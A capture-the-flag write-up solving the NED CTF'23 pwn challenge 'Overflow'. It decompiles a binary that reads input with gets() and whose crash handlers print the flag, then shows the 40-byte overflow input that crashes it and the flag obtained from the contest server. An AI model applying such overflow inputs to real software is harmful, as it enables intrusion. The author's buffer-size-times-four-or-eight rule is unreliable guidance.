Published on

NED CTF'23 - Pwn - Overflow

Authors

Challenge Description

Can you overflow the buffer and get the flag?

Author: Saad Akhtar

nc 159.223.192.150 9001
chal-info

Solution

Downloading the overflow.zip, we get the following files

files

overflow is the binary, flag.txt is a testing flag file to do local testing. However, .gdb_history seem pretty interesting. Let's see what's inside

gdb-history

Well, that was a dead-end, let's check the file type and the checks on the binary

file

Well, let's open this in Ghidra and see what's going on

functions

We can see 3 functions that see pretty interesting, overflow_handler, segv_handler and win. Before checking them out, let's checkout the main function.

undefined8 main(void) {
  sigaction local_168;
  sigaction local_c8;
  char local_28 [32];

  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  fflush(stdout);
  local_c8.__sigaction_handler = segv_handler;
  local_c8.sa_flags = -0x80000000;
  sigaction(0xb,&local_c8,(sigaction *)0x0);
  local_168.__sigaction_handler = overflow_handler;
  local_168.sa_flags = 0x10000000;
  sigaction(6,&local_168,(sigaction *)0x0);
  banner();
  printf("\n\nEnter your name: ");
  gets(local_28);
  printf("Hello, %s\n",local_28);
  return 0;
}

Okay, straight off the bat, we can see gets function being used. This is a classic buffer overflow vulnerability. Along with that, it's making use of sigaction to handle the SIGSEGV and SIGABRT signals. According to the man page

The sigaction() system call is used to change the action taken by a process on receipt of a specific signal. (See signal(7) for an overview of signals.)

Okay, in simpler terms, the first sigaction i.e. local_c8 is handling SEGV, i.e. segmentation fault, that in case the process tries to access a memory location that it doesn't have access to, it will be handled by the segv_handler function. The second one, is being handled by overflow_handler, and will be called in case a buffer overflow occurs. Let's take a look at the segv_handler function.

void segv_handler(void) {
  puts("Segmentation fault detected");
  win();
                    /* WARNING: Subroutine does not return */
  exit(1);
}

Pretty straight forward function, simply calls the win function. Let's take a look at overflow_handler function.

void overflow_handler(void) {
  puts("Buffer overflow detected!");
  win();
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Similar to the segv_handler function, it simply calls the win function. Let's take a look at the win function.

void win(void) {
  int iVar1;
  FILE *__stream;

  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Error: could not open file.");
  }
  else {
    printf("\nHere\'s your flag: ");
    while( true ) {
      iVar1 = fgetc(__stream);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
    fclose(__stream);
  }
  return;
}

Here, the win function is simply opening the flag.txt file and printing it's contents. So, we need to overflow the buffer and call the win function.

Now, to solve this, we can simply overflow the buffer, and let the signal handlers give us the flag. The buffer size specified is 32, however, to overflow, I calculate using the following technique:

BUFFER*SIZE * 4 - in case of 32-bit binaries
BUFFER*SIZE * 8 - in case of 64-bit binaries

However, I don't know how accurate this is, but it works for me. Now, let's try out the first method, i.e. overflowing the buffer and letting the signals give us the flag.

$ python -c "print('A' * 40)" | ./overflow
overflow

Now, it was that easy. Simply piping the output into the nc command, we get the flag

flag
Flag: NCC{y0ur_v3ry_f1rst_s3g_f4ult}